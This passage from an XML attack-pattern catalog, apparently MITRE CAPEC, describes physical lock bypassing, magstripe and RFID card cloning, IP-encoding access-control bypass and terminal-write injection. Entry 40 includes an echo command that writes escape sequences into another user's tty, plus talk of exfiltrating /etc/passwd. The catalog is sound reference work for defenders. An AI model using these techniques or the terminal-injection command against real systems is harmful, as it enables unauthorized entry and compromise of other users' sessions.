						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="392" Name="Lock Bumping" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a bump key to force a lock on a building or facility and
						gain entry. Lock Bumping is the use of a special type of key that can be
						tapped or bumped to cause the pins within the lock to fall into temporary
						alignment, allowing the lock to be opened. Lock bumping allows an attacker
						to open a lock without having the correct key. A standard lock is secured by
						a set of internal pins that prevent the device from turning. Spring loaded
						driver pins push down on the key pins. When the correct key is inserted, the
						ridges on the key push the key pins up and against the driver pins, causing
						correct alignment which allows the lock cylinder to rotate. A bump key is a
						specially constructed key that exploits this design. When the bump key is
						struck or firmly tapped, its teeth transfer the force of the tap into the
						key pins, causing the lock to momentarily shift into proper alignment for
						the mechanism to be opened.</Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>391<!--Bypassing Physical Locks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="393" Name="Lock Picking" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses lock picking tools and techniques to bypass the locks on
						a building or facility. Lock picking is the use of a special set of tools to
						manipulate the pins within a lock. Different sets of tools are required for
						each type of lock. Lock picking attacks have the advantage of being
						non-invasive in that if performed correctly the lock will not be damaged. A
						standard lock pin-and-tumbler lock is secured by a set of internal pins that
						prevent the tumbler device from turning. Spring loaded driver pins push down
						on the key pins preventing rotation so that the bolt remains in a locked
						position.. When the correct key is inserted, the ridges on the key push the
						key pins up and against the driver pins, causing correct alignment which
						allows the lock cylinder to rotate. Most common locks, such as domestic
						locks in the US, can be picked using a standard 2 tools (i.e. a torsion
						wrench and a hook pick). </Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>391<!--Bypassing Physical Locks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="394" Name="Using a Snap Gun Lock to Force a Lock"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a Snap Gun, also known as a Pick Gun, to force the lock
						on a building or facility. A Pick Gun is a special type of lock picking
						instrument that works on similar principles as lock bumping. A snap gun is a
						hand-held device with an attached metal pick. The metal pick strikes the
						pins within the lock, transferring motion from the key pins to the driver
						pins and forcing the lock into momentary alignment. A standard lock is
						secured by a set of internal pins that prevent the device from turning.
						Spring loaded driver pins push down on the key pins. When the correct key is
						inserted, the ridges on the key push the key pins up and against the driver
						pins, causing correct alignment which allows the lock cylinder to rotate. A
						Snap Gun exploits this design by using a metal pin to strike all of the key
						pins at once, forcing the driver pins to shift into an unlocked position.
						Unlike bump keys or lock picks, a Snap Gun may damage the lock more easily,
						leaving evidence that the lock has been tampered with.</Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>391<!--Bypassing Physical Locks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="395" Name="Bypassing Electronic Locks and Access Controls"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits security assumptions to bypass electronic locks or
						other forms of access controls. Most attacks against electronic access
						controls follow similar methods but utilize different tools. Some electronic
						locks utilize magnetic strip cards, others employ RFID tags embedded within
						a card or badge, or may involve more sophisticated protections such as
						voice-print, thumb-print, or retinal biometrics. Magnetic Strip and RFID
						technologies are the most widespread because they are cost effective to
						deploy and more easily integrated with other electronic security measures.
						These technologies share common weaknesses that an attacker can exploit to
						gain access to a facility protected by the mechanisms via copying legitimate
						cards or badges, or generating new cards using reverse-engineered
						algorithms.</Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>390<!--Bypassing Physical Security of Systems or Facilities--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="396" Name="Bypassing Card or Badge-Based Systems"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker bypasses the security of a card-based system by using
						techniques such as cloning access cards or using brute-force techniques.
						Card-based systems are widespread throughout business, government, and
						supply-chain management. Attacks against card-based systems vary widely
						based on the attackers goals, but commonly include unauthorized reproduction
						of cards, brute-force creation of valid card-values, and attacks against
						systems which read or process card data. Due to the inherent weaknesses of
						card and badge security, high security environments will rarely rely upon
						the card or badge alone as a security mechanism. Common card based systems
						are used for financial transactions, user identification, and access
						control. Cloning attacks involve making an unauthorized copy of a user's
						card while brute-force attacks involve creating new cards with valid values.
						Denial of service attacks against card-based systems involve rendering the
						reader, or the card itself, to become disabled. Such attacks may be useful
						in a fail-closed system for keeping authorized users out of a location while
						a crime is in progress, whereas fail-open systems may grant access, or an
						alarm my fail to trigger, if an attacker disables or damages the card
						authentication device. </Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>395<!--Bypassing Electronic Locks and Access Controls--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="397" Name="Cloning Magnetic Strip Cards" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker duplicates the data on a Magnetic strip card (i.e. 'swipe
						card' or ‘magstripe’) to gain unauthorized access to a physical location or
						a person's private information. Magstripe cards encode data on a band of
						iron-based magnetic particles arrayed in a stripe along a rectangular card.
						Most magstripe card data formats conform to ISO standards 7810, 7811, 7813,
						8583, and 4909. The primary advantage of magstripe technology is ease of
						enconding and portability, but this also renders magnetic strip cards
						susceptible to unauthorized duplication. If magstripe cards are used for
						access control, all an attacker need do is obtain a valid card long enough
						to make a copy of the card and then return the card to its location (i.e. a
						co-worker’s desk). Magstripe reader/writers are widely available as well as
						software for analyzing data encoded on the cards. By swiping a valid card,
						it becomes trivial to make any number of duplicates that function as the
						original. </Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>396<!--Bypassing Card or Badge-Based Systems--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="398" Name="Magnetic Strip Card Brute Force Attacks"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker analyzes the data on two or more magnetic strip cards and is
						able to generate new cards containing valid sequences that allow
						unauthorized access and/or impersonation of individuals. Often, magnetic
						strip encoding methods follow a common format for a given system laid out in
						up to three tracks. A single card may allow access to a corporate office
						complex shared by multiple companies. By analyzing how the data is stored on
						a card, it is also possible to create valid cards via brute-force attacks.
						For example, a single card can grant access to a building, a floor, and a
						suite number. Reading and analyzing data on multiple cards, then performing
						a difference analysis between data encoded on three different cards, can
						reveal clues as to how to generate valid cards that grant access to
						restricted areas of a building or suites/rooms within that building. Data
						stored on magstripe cards is often unencrypted, therefore comparing which
						data changes when two or more cards are analyzed can yield results that aid
						in determining the structure of the card data. A trivial example would be a
						common system data format on a data track which binary encodes the suite
						number of a building that a card will open. By creating multiple cards with
						differing binary encoded segments it becomes possible to enter unauthorized
						areas or pass through checkpoints giving the electronic ID of other
						persons.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to calculate a card checksum and write out a valid checksum
						value. Some cards are protected by a checksum calculation, therefore it is
						necessary to determine what algorithm is being used to calculate the
						checksum and to employ that algorithm to calculate and write a new valid
						checksum for the card being created. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>396<!--Bypassing Card or Badge-Based Systems--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="399" Name="Cloning RFID Cards or Chips" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker analyzes data returned by an RFID chip and uses this
						information to duplicate a RFID signal that responds identically to the
						target chip. In some cases RFID chips are used for building access control,
						employee identification, or as markers on products being delivered along a
						supply chain. Some organizations also embed RFID tags inside computer assets
						to trigger alarms if they are removed from particular rooms, zones, or
						buildings. Similar to Magnetic strip cards, RFID cards are susceptible to
						duplication (cloning) and reuse. RFID (Radio Frequency Identification) are
						passive devices which consist of an integrated circuit for processing RF
						signals and an antenna. RFID devices are passive in that they lack an on
						on-board power source. The majority of RFID chips operate on either the
						13.56 MHz or 135 KHz frequency. The chip is powered when a signal is
						received by the antenna on the chip, powering the chip long enough to send a
						reply messge. An attacker is able to capture and analyze RFID data by either
						stimulating the chip to respond or being proximate to the chip when it sends
						a response to a remote transmitter. This allows the attacker to duplicate
						the signal and conduct attacks such as gaining unauthorized access to a
						building or impersonating a user’s identification. </Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>396<!--Bypassing Card or Badge-Based Systems--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 9: Hacking Hardware</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-21</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-21</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="4" Name="Using Alternative IP Address Encodings"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack relies on the attacker using unexpected formats for
						representing IP addresses. Networked applications may expect network
						location information in a specific format, such as fully qualified domains
						names, URL, IP address, or IP Address ranges. The issue that the attacker
						can exploit is that these design assumptions may not be validated against a
						variety of different possible encodings and network address location
						formats. Applications that use naming for creating policy namespaces for
						managing access control may be susceptible to queryin directly by IP
						addresses, which is ultimately a more generally authoritative way of
						communicating on a network.</Text>
					<Text>Alternative IP addresses can be used by the attacker to bypass application
						access control in order to gain access to data that is only protected by
						obscuring its location. </Text>
					<Text>In addition this type of attack can be used as a reconnaissance mechansim
						to provide entry point information that the attacker gathers to penetrate
						deeper into the system.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target software must fail to anticipate all of the possible valid
						encodings of an IP/web address.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An attacker identifies an application server that applies a security
							policy based on the domain and application name, so the access control
							policy covers authentication and authorization for anyone accessing
							http://example.domain:8080/application. However, by putting in the IP
							address of the host the application authentication and authorization
							controls may be bypassed http://192.168.0.1:8080/application. The
							attacker relies on the victim applying policy to the namespace
							abstraction and not having a default deny policy in place to manage
							exceptions.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker has only to try IP address combinations.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to communicate with server. Optionally, ability to capture output
					directly through synchronous communication or other method such as FTP.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Default deny access control policies</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Input validation routines should check and enforce both input data
						types and content against a positive specification. In regards to IP
						addresses, this should include the authorized manner for the application to
						represent IP addresses and not accept user specified IP addresses and IP
						address formats (such as ranges)</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Malicious input delivered through standard input </Text>
			</Injection_Vector>
			<Payload>
				<Text>Varies with instantiation of attack pattern. Malicious payload may be passed
					directly from appliation client, such as the web browser.</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network </Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to view and access unexpected network services.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>291<!--Trusting Self-reported IP Address--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>180<!--Incorrect Behavior Order: Validate Before Canonicalize--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>41<!--Improper Resolution of Path Equivalence--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name, Attack
							Prerequisites,Resources Required and Method of
							Attack</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="40" Name="Manipulating Writeable Terminal Devices"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack exploits terminal devices that allow themselves to be written
						to by other users. The attacker sends command strings to the target terminal
						device hoping that the target user will hit enter and thereby execute the
						malicious command with their privileges. The attacker can send the results
						(such as copying /etc/passwd) to a known directory and collect once the
						attack has succeeded.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>User terminals must have a permissive access control such as world
						writeable that allows normal users to control data on other user's
						terminals.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Any system that allows other peers to write directly to its terminal
							process is vulnerable to this type of attack. If the terminals are
							available through being overprivileged (i.e. world-writable) or the
							attacker is an administrator, then a series of commands in this format
							can be used to echo commands out to victim terminals.</Text>
						<Block>
							<Code>"$echo -e "\033[30m\033\132" &gt; /dev/ttyXX</Code>
						</Block>
						<Text>where XX is the tty number of the user under attack. This will paste
							the characters to another terminal (tty). Note this technique works only
							if the victim's tty is world writable (which it may not be). That is one
							reason why programs like write(1) and talk(1) in UNIX systems need to
							run setuid." [Hoglund and McGraw 04]</Text>
						<Text>If the victim continues to hit "enter" and execute the commands, there
							are an endless supply of vectors available to the attacker, copying
							files, open up network connections, ftp out to servers, and so
							on.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Access to a terminal on the target network</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
